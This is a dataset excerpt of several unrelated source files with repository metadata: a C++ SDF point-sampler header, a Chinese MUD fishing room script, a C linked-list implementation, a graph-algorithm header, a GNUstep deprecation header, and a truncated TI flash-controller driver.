#pragma once #define _USE_MATH_DEFINES #include <cmath> #include <WindingNumber/UT_SolidAngle.h> #include "UniformSampleNBall.h" #include <Eigen/Core> #include <AABB_tree/AABB_tree.h> #include "ExportSemantics.h" #include "MeshReference.h" namespace SDFSampler { class EXPORT PointSampler { public: PointSampler(const Eigen::Ref<const Eigen::MatrixXf>& vertices, const Eigen::Ref<const Eigen::Matrix<int, Eigen::Dynamic, 3, Eigen::RowMajor>>& faces, int seed = -1); std::pair<Eigen::MatrixXf, Eigen::VectorXf> sample(const size_t numPoints = 1, const float sampleSetScale = 10); inline unsigned int& seed() { return seed_; } inline std::function<float(const Eigen::Vector3f&, float)>& importanceFunction() { return importance_func_; } inline float& beta() { return beta_; } float beta_; unsigned int seed_; private: std::unique_ptr<AABB_tree<float>> tree_; HDK_Sample::UT_SolidAngle<float, float> solid_angle_; std::function<float(const Eigen::Vector3f&, float)> importance_func_; std::shared_ptr<MeshReference> mesh_; }; }
nathanrgodwin/overfit-shapes
SDFSampler/include/SDFSampler/PointSampler.h
PointSampler.h
h
1,159
c
es
code
33
github-code
54
16677043817
// fishroom.c // 4/16/2000 by lag #include <ansi.h> inherit ROOM; void create() { set("short", "钓鱼台"); set("long", @LONG 你走进这里,哇,有好多的人在这里钓鱼呀!不时的传来兴 奋的喊叫声,这肯定又是有谁钓到了大鱼,看到他们忙忙碌碌、 兴奋的样子,你还有什么值得犹豫的,赶快收拾好你的鱼杠开始 钓鱼(diao)吧?里面是一间休息室。 LONG ); set("exits", ([ // "enter" : __DIR__"xiuxi", "west" : "d/shaolin/hanshui1", ])); set("no_steal", 1); set("no_sleep", 1); set("no_drop", 1); set("no_fight", 1); set("no_clean_up", 0); setup(); } void init() { add_action("do_fish", "fish"); add_action("do_fish", "diao"); } int do_fish(string arg) { object me; me = this_player(); if (me->query("combat_exp") > 10000) { message_vision(HIG"江湖使者的身影突然出现在一阵烟雾之中。\n" + HIR "江湖使者冲着$N大喝:出去,别捣乱,这么大了还来钓鱼,你羞不羞呀!\n\n\n"NOR,me); me->move("/d/shaolin/hanshui1"); return 1; } else if ( !arg || ( arg != "鱼" ) ) return notify_fail("你要钓什么啊?钓命?\n"); else if (me->query("qi") < 20 ) return notify_fail("你快支持不住了,先歇会儿吧!\n"); else message_vision("$N拿着一把钓鱼杆坐在大石头上钓起鱼来……。\n", me); if (me->is_busy()) return notify_fail ("你还是先装好鱼饵再说吧!\n"); switch(random(10)) { case 0 : message_vision("$N一提杆,钓到了一条"+ HIR "大鲤鱼"NOR +",恭喜,恭喜。 \n\n",me); me->add("potential",15+random(2)); me->add("combat_exp",20+random(7)); me->add("qi",-15); break; case 1 : message_vision("$N猛一提杆,钓到了"+ CYN "一个破草帽"NOR +",晦气,晦气。 \n",me); message_vision(HIW "$N看着破草帽不由的发呆了。 \n\n" NOR,me); me->add("qi",-5); break; case 2 : message_vision("$N鱼漂晃动,$N心里一急,猛的一提杆,$N钓到了"+ RED "一件红色的肚兜。 \n"NOR,me); message_vision(HIB "$N连声叫到:晦气,晦气。 \n\n" NOR,me); me->add("qi",-7); break; case 3 : message_vision("$N一提杆,钓到了一条"+ HIC "鲶鱼"NOR +",恭喜,恭喜。 \n\n",me); me->add("potential",3+random(2)); me->add("combat_exp",9+random(7)); me->add("qi",-6); break; case 4 : message_vision("$N一提杆,钓到了一条"+ HIG "鲑鱼"NOR +",恭喜,恭喜。 \n\n",me); me->add("potential",11+random(2)); me->add("combat_exp",18+random(7)); me->add("qi",-12); break; case 5 : message_vision("$N一提杆,钓到了一条草鱼,恭喜,恭喜。 \n\n",me); me->add("potential",6+random(2)); me->add("combat_exp",9+random(7)); me->add("qi",-10); break; case 6 : message_vision("$N一提杆,钓到了一条"+ HIB "鲟鱼"NOR +",恭喜,恭喜。 \n\n",me); me->add("potential",7+random(2)); me->add("combat_exp",8+random(7)); me->add("qi",-5); break; case 7 : message_vision("$N猛一提杆,钓到了"+ WHT "一个废旧的睡袋"NOR +",晦气,晦气。 \n",me); message_vision(HIY"$N看着废旧的睡袋,眼睛立刻红了。 \n\n"NOR,me); me->add("qi",-3); break; case 8 : message_vision("$N猛的一提杆,扯的太急了,线断了,鱼跑了,可惜,可惜。 \n",me); message_vision(HIC "$N不由的在心里大骂:ダドパ。 \n\n" NOR,me); me->add("qi",-7); break; default : message_vision("$N一提杆,钓到了一条"+ HIM "娃娃鱼"NOR +",恭喜,恭喜。 \n\n",me); me->add("potential",10+random(2)); me->add("combat_exp",10+random(7)); me->add("qi",-8); break; } me->start_busy(2); return 1; }
MudRen/HYLib
quest/newbie/fishroom.c
fishroom.c
c
5,143
c
zh
code
2
github-code
54
71843667682
/* Name: MD Haque <[email protected]> Date: Sept, 2019 Desc: Singly-linked-list implementation in C. */ # include <stdio.h> # include <stdlib.h> struct slinklist { int data; struct slinklist *next; }; typedef struct slinklist node; //and create a node for the link list node* getnode(int data) { node* newnode; newnode = (node*) malloc(sizeof(node)); /*printf("\n Enter data: "); scanf("%d", &newnode -> data); */ newnode -> data = data; newnode -> next = NULL; return newnode; } //Count the number of node in the link list int countnode(node *ptr) { int count=0; while(ptr != NULL) { count++; ptr = ptr -> next; } return (count); } //Create a link list with n nodes void createlist(node** start, int n) { int i; node *newnode; node *temp; for(i = 0; i < n; i++) { newnode = getnode(0); if(*start == NULL) { *start = newnode; } else { temp = *start; while(temp -> next != NULL) temp = temp -> next; temp -> next = newnode; } } return; } //Print the data value of each node in the link list void traverse(node** start) { node *temp; temp = *start; printf("\n The contents of List (Left to Right): \n"); if(start == NULL) { printf("\n Empty List"); return; } else { while(temp != NULL) { printf("%d-->", temp -> data); temp = temp -> next; } } printf(" X "); return; } //Print the data value of each node in the link list in reverse order using recursion void rev_traverse(node* start) { if(start == NULL) { return; } else { rev_traverse(start -> next); printf("%d -->", start -> data); } return; } //Insert a node at the beginning of the link list void insert_at_beg(node** start, int data) { node *newnode; newnode = getnode(data); if(*start == NULL) { *start = newnode; } else { newnode -> next = *start; *start = newnode; } return; } //Insert a node at the end of the link list void insert_at_end(node** start, int data) { node *newnode, *temp; newnode = getnode(data); if(*start == NULL) { *start = newnode; } else { temp = *start; while(temp -> next != NULL) temp = temp -> next; temp -> next = newnode; } return; } //Insert a node at the intermediate position of the link list void insert_at_mid(node** start, int data) { node *newnode, *temp; int pos, nodectr, ctr = 1; newnode = getnode(data); printf("\n Enter the position: "); scanf("%d", &pos); nodectr = countnode(*start); if(pos > 1 && pos < nodectr) { //version 1 with two pointers temp and prev /* temp = prev = start; while(ctr < pos) { prev = temp; temp = temp -> next; ctr++; } prev -> next = newnode; newnode -> next = temp; */ //version 2 with one pointer temp temp=*start; while(ctr<pos-1) { temp = temp->next; ctr++; } newnode->next=temp->next; temp->next=newnode; } else printf("position %d is not a middle position", pos); return; } //Delete a node at the beginning of the link list void delete_at_beg(node** start) { node *temp; if(*start == NULL) { printf("\n No nodes are exist.."); return ; } else { temp = *start; (*start) = temp -> next; free(temp); printf("\n Node deleted "); } return; } //Delete a node at the end of the link list void delete_at_last(node** start) { node *temp, *prev; if(*start == NULL) { printf("\n Empty List.."); return ; } else { temp = *start; prev = *start; while(temp -> next != NULL) { prev = temp; temp = temp -> next; } prev -> next = NULL; free(temp); printf("\n Node deleted "); } return; } //Delete a node at the intermediate position of the link list void delete_at_mid(node** start) { int ctr = 1, pos, nodectr; node *temp, *prev; if(*start == NULL) { printf("\n Empty List.."); return ; } else { printf("\n Enter position of node to delete: "); scanf("%d", &pos); nodectr = countnode(*start); if(pos > nodectr) { printf("\nThisnode doesnot exist"); } if(pos > 1 && pos < nodectr) { temp = prev = *start; while(ctr < pos) { prev = temp; temp = temp -> next; ctr ++; } prev -> next = temp -> next; free(temp); printf("\n Node deleted.."); } else { printf("\n Invalid position.."); //getch(); } } return; } //free the entire link list void deleteList(node** start) { node *next,*current; if(start == NULL) { printf("\n Empty List.."); return ; } else { current=*start; while (current != NULL) { next=current->next; free(current); current=next; } start = NULL; } return; } /***************************************************************************** */ //Get the data value of each node in the link list, or -1 if an error int getLoc(node* start, unsigned loc) { node *temp; temp = start; //printf("\n The contents of List (Left to Right): \n"); if(start == NULL) { //printf("\n Empty List"); return -1; } else { while(temp != NULL) { if(loc == 0)return temp -> data; //printf("%d-->", temp -> data); temp = temp -> next; loc--; } } //printf(" X "); return -1; }
fuzzpault/UIndy-CSCI155-2019
Sunny/singlelinklist.c
singlelinklist.c
c
6,271
c
en
code
2
github-code
54
2931299837
#pragma once #include <vector> namespace noisepage::common { class Graph; } // namespace noisepage::common namespace noisepage::common::graph { /** * Determine if graph `lhs` is isomorphic to graph `rhs`. * @param lhs Input graph * @param rhs Input graph * @return `true` if the graphs are isomorphic, `false` otherwise */ bool Isomorphic(const Graph &lhs, const Graph &rhs); /** * Determine if graph `graph` contains a cycle. * @param graph The graph of interest */ bool HasCycle(const Graph &graph); /** * Compute a topological sort of graph `graph`. * @pre The graph must be acyclic * @param graph The input graph * @return A topological sort of `graph` */ std::vector<std::size_t> TopologicalSort(const Graph &graph); } // namespace noisepage::common::graph
cmu-db/noisepage
src/include/common/graph_algorithm.h
graph_algorithm.h
h
784
c
en
code
1,715
github-code
54
34792563610
/** -*-objc-*- EODeprecated.h Copyright (C) 2003,2004,2005 Free Software Foundation, Inc. Author: Stephane Corthesy <[email protected]> Date: March 2003 This file is part of the GNUstep Database Library. This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; see the file COPYING.LIB. If not, write to the Free Software Foundation, 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #ifndef __EOControl_EODeprecated_h__ #define __EOControl_EODeprecated_h__ #ifdef GNUSTEP #include <Foundation/NSUndoManager.h> #else #include <Foundation/Foundation.h> #endif #include <EOControl/EODefines.h> #include <EOControl/EOClassDescription.h> #include <EOControl/EOFetchSpecification.h> @interface NSObject (EODeprecated) /** Deprecated. GDL2 doesn't cache key bindungs.*/ + (void)flushClassKeyBindings; @end @interface EOClassDescription (EODeprecated) /** Deprecated. Use [+setClassDelegate:]. */ + (void)setDelegate: (id)delegate; /** Deprecated. Use [+classDelegate]. */ + (id)delegate; @end /** Deprecated. Use NSUndoManager. */ @interface EOUndoManager : NSUndoManager /** Deprecated. Use <code>removeAllActionsWithTarget:</code>. */ - (void)forgetAllWithTarget: (id)target; /** Deprecated. Use <code>removeAllActionsWithTarget:</code>. */ - (void)forgetAll; /** Deprecated. Use <code>registerUndoWithTarget:selector:object:</code>. */ - (void)registerUndoWithTarget: (id)target selector: (SEL)selector arg: (id)argument; /** Deprecated. Use <code>enableUndoRegistration</code>. */ - (void)reenableUndoRegistration; @end GDL2CONTROL_EXPORT NSString *EOPrefetchingRelationshipHintKey; GDL2CONTROL_EXPORT NSString *EOFetchLimitHintKey; GDL2CONTROL_EXPORT NSString *EOPromptAfterFetchLimitHintKey; #endif
gnustep/libs-gdl2
EOControl/EODeprecated.h
EODeprecated.h
h
2,331
c
en
code
7
github-code
54
20062882135
#include <stdio.h> //Compara caracteres até encontrar uma diferença, o fim de uma ou de ambas as strings //Em caso do fim de ambas as strings, retorna 0 //Ao encontrar uma diferença, retorna o valor do caractere da str1 subtraido do caractere da str2 int func_strcmp(const char *str1, const char *str2){ while(*str1 == *str2 && *str1 != '\0'){ str1++; str2++; } return (int)(*str1 - *str2); } int main(){ char str1[] = "ABCdef"; char str2[] = "ABCf"; int ret; ret = func_strcmp(str1, str2); printf("ret = %d\n", ret); if(ret < 0) { printf("str1 is less than str2"); } else if(ret > 0) { printf("str2 is less than str1"); } else { printf("str1 is equal to str2"); } return(0); }
Thiago-Mtt/Programas-C
Funcoes_stringlib/func_strcmp.c
func_strcmp.c
c
771
c
pt
code
0
github-code
54
26707187515
#include "inc/hw_types.h" #include "inc/hw_flash_ctrl.h" #include "inc/hw_memmap.h" #include "inc/hw_ints.h" #include "inc/hw_gprcm.h" #include "inc/hw_hib1p2.h" #include "inc/hw_hib3p3.h" #include "inc/hw_common_reg.h" #include "inc/hw_stack_die_ctrl.h" #include "debug.h" #include "flash.h" #include "utils.h" #include "interrupt.h" #define HAVE_WRITE_BUFFER 1 //***************************************************************************** // // An array that maps the specified memory bank to the appropriate Flash // Memory Protection Program Enable (FMPPE) register. // //***************************************************************************** static const unsigned long g_pulFMPPERegs[] = { FLASH_FMPPE0, FLASH_FMPPE1, FLASH_FMPPE2, FLASH_FMPPE3, FLASH_FMPPE4, FLASH_FMPPE5, FLASH_FMPPE6, FLASH_FMPPE7, FLASH_FMPPE8, FLASH_FMPPE9, FLASH_FMPPE10, FLASH_FMPPE11, FLASH_FMPPE12, FLASH_FMPPE13, FLASH_FMPPE14, FLASH_FMPPE15 }; //***************************************************************************** // // An array that maps the specified memory bank to the appropriate Flash // Memory Protection Read Enable (FMPRE) register. // //***************************************************************************** static const unsigned long g_pulFMPRERegs[] = { FLASH_FMPRE0, FLASH_FMPRE1, FLASH_FMPRE2, FLASH_FMPRE3, FLASH_FMPRE4, FLASH_FMPRE5, FLASH_FMPRE6, FLASH_FMPRE7, FLASH_FMPRE8, FLASH_FMPRE9, FLASH_FMPRE10, FLASH_FMPRE11, FLASH_FMPRE12, FLASH_FMPRE13, FLASH_FMPRE14, FLASH_FMPRE15, }; //***************************************************************************** // //! Flash Disable //! //! This function Disables the internal Flash. //! //! \return None. // //***************************************************************************** void FlashDisable() { // // Wait for Flash Busy to get cleared // while((HWREG(GPRCM_BASE + GPRCM_O_TOP_DIE_ENABLE) & GPRCM_TOP_DIE_ENABLE_FLASH_BUSY)) { } // // Assert reset // HWREG(HIB1P2_BASE + HIB1P2_O_PORPOL_SPARE) = 0xFFFF0000; // // 50 usec Delay Loop // UtilsDelay((50*80)/3); // // Disable TDFlash // HWREG(GPRCM_BASE + GPRCM_O_TOP_DIE_ENABLE) = 0x0; // // 50 usec Delay Loop // UtilsDelay((50*80)/3); HWREG(HIB1P2_BASE + HIB1P2_O_BGAP_DUTY_CYCLING_EXIT_CFG) = 0x1; // // 50 usec Delay Loop // UtilsDelay((50*80)/3); } //***************************************************************************** // //! Erases a block of flash. //! //! \param ulAddress is the start address of the flash block to be erased. //! //! This function will erase a 2 kB block of the on-chip flash. After erasing, //! the block will be filled with 0xFF bytes. Read-only and execute-only //! blocks cannot be erased. //! //! This function will not return until the block has been erased. //! //! \return Returns 0 on success, or -1 if an invalid block address was //! specified or the block is write-protected. // //***************************************************************************** long FlashErase(unsigned long ulAddress) { // // Check the arguments. // ASSERT(!(ulAddress & (FLASH_CTRL_ERASE_SIZE - 1))); // // Clear the flash access and error interrupts. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCMISC) = (FLASH_CTRL_FCMISC_AMISC | FLASH_CTRL_FCMISC_VOLTMISC | FLASH_CTRL_FCMISC_ERMISC); // Erase the block. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMA) = ulAddress; HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC) = FLASH_CTRL_FMC_WRKEY | FLASH_CTRL_FMC_ERASE; // // Wait until the block has been erased. // while(HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC) & FLASH_CTRL_FMC_ERASE) { } // // Return an error if an access violation or erase error occurred. // if(HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCRIS) & (FLASH_CTRL_FCRIS_ARIS | FLASH_CTRL_FCRIS_VOLTRIS | FLASH_CTRL_FCRIS_ERRIS)) { return(-1); } // // Success. // return(0); } //***************************************************************************** // //! Erases a block of flash but does not wait for completion. //! //! \param ulAddress is the start address of the flash block to be erased. //! //! This function will erase a 2 kB block of the on-chip flash. After erasing, //! the block will be filled with 0xFF bytes. Read-only and execute-only //! blocks cannot be erased. //! //! This function will return immediately after commanding the erase operation. //! Applications making use of the function can determine completion state by //! using a flash interrupt handler or by polling FlashIntStatus. //! //! \return None. // //***************************************************************************** void FlashEraseNonBlocking(unsigned long ulAddress) { // // Check the arguments. // ASSERT(!(ulAddress & (FLASH_CTRL_ERASE_SIZE - 1))); // // Clear the flash access and error interrupts. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCMISC) = (FLASH_CTRL_FCMISC_AMISC | FLASH_CTRL_FCMISC_VOLTMISC | FLASH_CTRL_FCMISC_ERMISC); // // Command the flash controller to erase the block. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMA) = ulAddress; HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC) = FLASH_CTRL_FMC_WRKEY | FLASH_CTRL_FMC_ERASE; } //***************************************************************************** // //! Erases a complele flash at shot. //! //! This function erases a complele flash at shot //! //! \return Returns 0 on success, or -1 if the block is write-protected. // //***************************************************************************** long FlashMassErase() { // // Clear the flash access and error interrupts. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCMISC) = (FLASH_CTRL_FCMISC_AMISC | FLASH_CTRL_FCMISC_VOLTMISC | FLASH_CTRL_FCMISC_ERMISC); // // Command the flash controller for mass erase. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC) = FLASH_CTRL_FMC_WRKEY | FLASH_CTRL_FMC_MERASE1; // // Wait until mass erase completes. // while(HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC) & FLASH_CTRL_FMC_MERASE1) { } // // Return an error if an access violation or erase error occurred. // if(HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCRIS) & (FLASH_CTRL_FCRIS_ARIS | FLASH_CTRL_FCRIS_VOLTRIS | FLASH_CTRL_FCRIS_ERRIS)) { return -1; } // // Success. // return 0; } //***************************************************************************** // //! Erases a complele flash at shot but does not wait for completion. //! //! //! This function will not return until the Flash has been erased. //! //! \return None. // //***************************************************************************** void FlashMassEraseNonBlocking() { // // Clear the flash access and error interrupts. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCMISC) = (FLASH_CTRL_FCMISC_AMISC | FLASH_CTRL_FCMISC_VOLTMISC | FLASH_CTRL_FCMISC_ERMISC); // // Command the flash controller for mass erase. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC) = FLASH_CTRL_FMC_WRKEY | FLASH_CTRL_FMC_MERASE1; } //***************************************************************************** // //! Programs flash. //! //! \param pulData is a pointer to the data to be programmed. //! \param ulAddress is the starting address in flash to be programmed. Must //! be a multiple of four. //! \param ulCount is the number of bytes to be programmed. Must be a multiple //! of four. //! //! This function will program a sequence of words into the on-chip flash. //! Each word in a page of flash can only be programmed one time between an //! erase of that page; programming a word multiple times will result in an //! unpredictable value in that word of flash. //! //! Since the flash is programmed one word at a time, the starting address and //! byte count must both be multiples of four. It is up to the caller to //! verify the programmed contents, if such verification is required. //! //! This function will not return until the data has been programmed. //! //! \return Returns 0 on success, or -1 if a programming error is encountered. // //***************************************************************************** long FlashProgram(unsigned long *pulData, unsigned long ulAddress, unsigned long ulCount) { // // Check the arguments. // ASSERT(!(ulAddress & 3)); ASSERT(!(ulCount & 3)); // // Clear the flash access and error interrupts. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCMISC) = (FLASH_CTRL_FCMISC_AMISC | FLASH_CTRL_FCMISC_VOLTMISC | FLASH_CTRL_FCMISC_INVDMISC | FLASH_CTRL_FCMISC_PROGMISC); // // See if this device has a write buffer. // #if HAVE_WRITE_BUFFER { // // Loop over the words to be programmed. // while(ulCount) { // // Set the address of this block of words. for 1 MB // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMA) = ulAddress & ~(0x7F); // // Loop over the words in this 32-word block. // while(((ulAddress & 0x7C) || (HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FWBVAL) == 0)) && (ulCount != 0)) { // // Write this word into the write buffer. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FWBN + (ulAddress & 0x7C)) = *pulData++; ulAddress += 4; ulCount -= 4; } // // Program the contents of the write buffer into flash. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC2) = FLASH_CTRL_FMC2_WRKEY | FLASH_CTRL_FMC2_WRBUF; // // Wait until the write buffer has been programmed. // while(HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC2) & FLASH_CTRL_FMC2_WRBUF) { } } } #else { // // Loop over the words to be programmed. // while(ulCount) { // // Program the next word. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMA) = ulAddress; HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMD) = *pulData; HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC) = FLASH_CTRL_FMC_WRKEY | FLASH_CTRL_FMC_WRITE; // // Wait until the word has been programmed. // while(HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC) & FLASH_CTRL_FMC_WRITE) { } // // Increment to the next word. // pulData++; ulAddress += 4; ulCount -= 4; } } #endif // // Return an error if an access violation occurred. // if(HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCRIS) & (FLASH_CTRL_FCRIS_ARIS | FLASH_CTRL_FCRIS_VOLTRIS | FLASH_CTRL_FCRIS_INVDRIS | FLASH_CTRL_FCRIS_PROGRIS)) { return(-1); } // // Success. // return(0); } //***************************************************************************** // //! Programs flash but does not poll for completion. //! //! \param pulData is a pointer to the data to be programmed. //! \param ulAddress is the starting address in flash to be programmed. Must //! be a multiple of four. //! \param ulCount is the number of bytes to be programmed. Must be a multiple //! of four. //! //! This function will start programming one or more words into the on-chip //! flash and return immediately. The number of words that can be programmed //! in a single call depends the part on which the function is running. For //! parts without support for a flash write buffer, only a single word may be //! programmed on each call to this function (\e ulCount must be 1). If a //! write buffer is present, up to 32 words may be programmed on condition //! that the block being programmed does not straddle a 32 word address //! boundary. For example, wherease 32 words can be programmed if the address //! passed is 0x100 (a multiple of 128 bytes or 32 words), only 31 words could //! be programmed at 0x104 since attempting to write 32 would cross the 32 //! word boundary at 0x180. //! //! Since the flash is programmed one word at a time, the starting address and //! byte count must both be multiples of four. It is up to the caller to //! verify the programmed contents, if such verification is required. //! //! This function will return immediately after commanding the erase operation. //! Applications making use of the function can determine completion state by //! using a flash interrupt handler or by polling FlashIntStatus. //! //! \return 0 if the write was started successfully, -1 if there was an error. // //***************************************************************************** long FlashProgramNonBlocking(unsigned long *pulData, unsigned long ulAddress, unsigned long ulCount) { // // Check the arguments. // ASSERT(!(ulAddress & 3)); ASSERT(!(ulCount & 3)); // // Clear the flash access and error interrupts. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCMISC) = (FLASH_CTRL_FCMISC_AMISC | FLASH_CTRL_FCMISC_VOLTMISC | FLASH_CTRL_FCMISC_INVDMISC | FLASH_CTRL_FCMISC_PROGMISC); // // See if this device has a write buffer. // #if HAVE_WRITE_BUFFER { // // Make sure the address/count specified doesn't straddle a 32 word // boundary. // if(((ulAddress + (ulCount - 1)) & ~0x7F) != (ulAddress & ~0x7F)) { return(-1); } // // Loop over the words to be programmed. // while(ulCount) { // // Set the address of this block of words. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMA) = ulAddress & ~(0x7F); // // Loop over the words in this 32-word block. // while(((ulAddress & 0x7C) || (HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FWBVAL) == 0)) && (ulCount != 0)) { // // Write this word into the write buffer. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FWBN + (ulAddress & 0x7C)) = *pulData++; ulAddress += 4; ulCount -= 4; } // // Program the contents of the write buffer into flash. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC2) = FLASH_CTRL_FMC2_WRKEY | FLASH_CTRL_FMC2_WRBUF; } } #else { // // We don't have a write buffer so we can only write a single word. // if(ulCount > 1) { return(-1); } // // Write a single word. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMA) = ulAddress; HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMD) = *pulData; HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FMC) = FLASH_CTRL_FMC_WRKEY | FLASH_CTRL_FMC_WRITE; } #endif // // Success. // return(0); } //***************************************************************************** // //! Gets the protection setting for a block of flash. //! //! \param ulAddress is the start address of the flash block to be queried. //! //! This function gets the current protection for the specified 2-kB block //! of flash. Each block can be read/write, read-only, or execute-only. //! Read/write blocks can be read, executed, erased, and programmed. Read-only //! blocks can be read and executed. Execute-only blocks can only be executed; //! processor and debugger data reads are not allowed. //! //! \return Returns the protection setting for this block. See //! FlashProtectSet() for possible values. // //***************************************************************************** tFlashProtection FlashProtectGet(unsigned long ulAddress) { unsigned long ulFMPRE, ulFMPPE; unsigned long ulBank; // // Check the argument. // ASSERT(!(ulAddress & (FLASH_PROTECT_SIZE - 1))); // // Calculate the Flash Bank from Base Address, and mask off the Bank // from ulAddress for subsequent reference. // ulBank = (((ulAddress / FLASH_PROTECT_SIZE) / 32) % 16); ulAddress &= ((FLASH_PROTECT_SIZE * 32) - 1); // // Read the appropriate flash protection registers for the specified // flash bank. // ulFMPRE = HWREG(g_pulFMPRERegs[ulBank]); ulFMPPE = HWREG(g_pulFMPPERegs[ulBank]); // // Check the appropriate protection bits for the block of memory that // is specified by the address. // switch((((ulFMPRE >> (ulAddress / FLASH_PROTECT_SIZE)) & FLASH_FMP_BLOCK_0) << 1) | ((ulFMPPE >> (ulAddress / FLASH_PROTECT_SIZE)) & FLASH_FMP_BLOCK_0)) { // // This block is marked as execute only (that is, it can not be erased // or programmed, and the only reads allowed are via the instruction // fetch interface). // case 0: case 1: { return(FlashExecuteOnly); } // // This block is marked as read only (that is, it can not be erased or // programmed). // case 2: { return(FlashReadOnly); } // // This block is read/write; it can be read, erased, and programmed. // case 3: default: { return(FlashReadWrite); } } } //***************************************************************************** // //! Registers an interrupt handler for the flash interrupt. //! //! \param pfnHandler is a pointer to the function to be called when the flash //! interrupt occurs. //! //! This sets the handler to be called when the flash interrupt occurs. The //! flash controller can generate an interrupt when an invalid flash access //! occurs, such as trying to program or erase a read-only block, or trying to //! read from an execute-only block. It can also generate an interrupt when a //! program or erase operation has completed. The interrupt will be //! automatically enabled when the handler is registered. //! //! \sa IntRegister() for important information about registering interrupt //! handlers. //! //! \return None. // //***************************************************************************** void FlashIntRegister(void (*pfnHandler)(void)) { // // Register the interrupt handler, returning an error if an error occurs. // IntRegister(INT_FLASH, pfnHandler); // // Enable the flash interrupt. // IntEnable(INT_FLASH); } //***************************************************************************** // //! Unregisters the interrupt handler for the flash interrupt. //! //! This function will clear the handler to be called when the flash interrupt //! occurs. This will also mask off the interrupt in the interrupt controller //! so that the interrupt handler is no longer called. //! //! \sa IntRegister() for important information about registering interrupt //! handlers. //! //! \return None. // //***************************************************************************** void FlashIntUnregister(void) { // // Disable the interrupt. // IntDisable(INT_FLASH); // // Unregister the interrupt handler. // IntUnregister(INT_FLASH); } //***************************************************************************** // //! Enables individual flash controller interrupt sources. //! //! \param ulIntFlags is a bit mask of the interrupt sources to be enabled. //! Can be any of the \b FLASH_CTRL_PROGRAM or \b FLASH_CTRL_ACCESS values. //! //! Enables the indicated flash controller interrupt sources. Only the sources //! that are enabled can be reflected to the processor interrupt; disabled //! sources have no effect on the processor. //! //! \return None. // //***************************************************************************** void FlashIntEnable(unsigned long ulIntFlags) { // // Enable the specified interrupts. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCIM) |= ulIntFlags; } //***************************************************************************** // //! Disables individual flash controller interrupt sources. //! //! \param ulIntFlags is a bit mask of the interrupt sources to be disabled. //! Can be any of the \b FLASH_CTRL_PROGRAM or \b FLASH_CTRL_ACCESS values. //! //! Disables the indicated flash controller interrupt sources. Only the //! sources that are enabled can be reflected to the processor interrupt; //! disabled sources have no effect on the processor. //! //! \return None. // //***************************************************************************** void FlashIntDisable(unsigned long ulIntFlags) { // // Disable the specified interrupts. // HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCIM) &= ~(ulIntFlags); } //***************************************************************************** // //! Gets the current interrupt status. //! //! \param bMasked is false if the raw interrupt status is required and true if //! the masked interrupt status is required. //! //! This returns the interrupt status for the flash controller. Either the raw //! interrupt status or the status of interrupts that are allowed to reflect to //! the processor can be returned. //! //! \return The current interrupt status, enumerated as a bit field of //! \b FLASH_CTRL_PROGRAM and \b FLASH_CTRL_ACCESS. // //***************************************************************************** unsigned long FlashIntStatus(tBoolean bMasked) { // // Return either the interrupt status or the raw interrupt status as // requested. // if(bMasked) { return(HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCMISC)); } else { return(HWREG(FLASH_CONTROL_BASE + FLASH_CTRL_O_FCRIS)); } } //***************************************************************************** // //! Clears flash controller interrupt sources. //! //! \param ulIntFlags is the bit mask of the interrupt sources to be cleared. //! Can be any of the \b FLASH_CTRL_PROGRAM or \b FLASH_CTRL_AMISC values. //! //! The specified flash controller interrupt sources are cleared, so that they //! no longer assert. This must be done in the interrupt handler to keep it //! from being called again immediately upon exit. //! //! \note Because there is a write buffer in the Cortex-M3 processor, it may //! take several clock cycles before the interrupt source is actually cleared. //! Therefore, it is recommended that the interrupt source be cleared early in //! the interrupt handler (as opposed to the very last action) to avoid //! returning from the interrupt handler before the interrupt source is //! actually cleared. Failure to do so may result in the interrupt handler //! being immediately reentered (because the interrupt controller still sees //! the interrupt source asserted). //! //! \return None. // //***************************************************************************** void FlashIntClear(unsigned long ulIntFlags) { // // Clear the flash interrupt. // HWREG(FLASH_CONTROL_BASE + 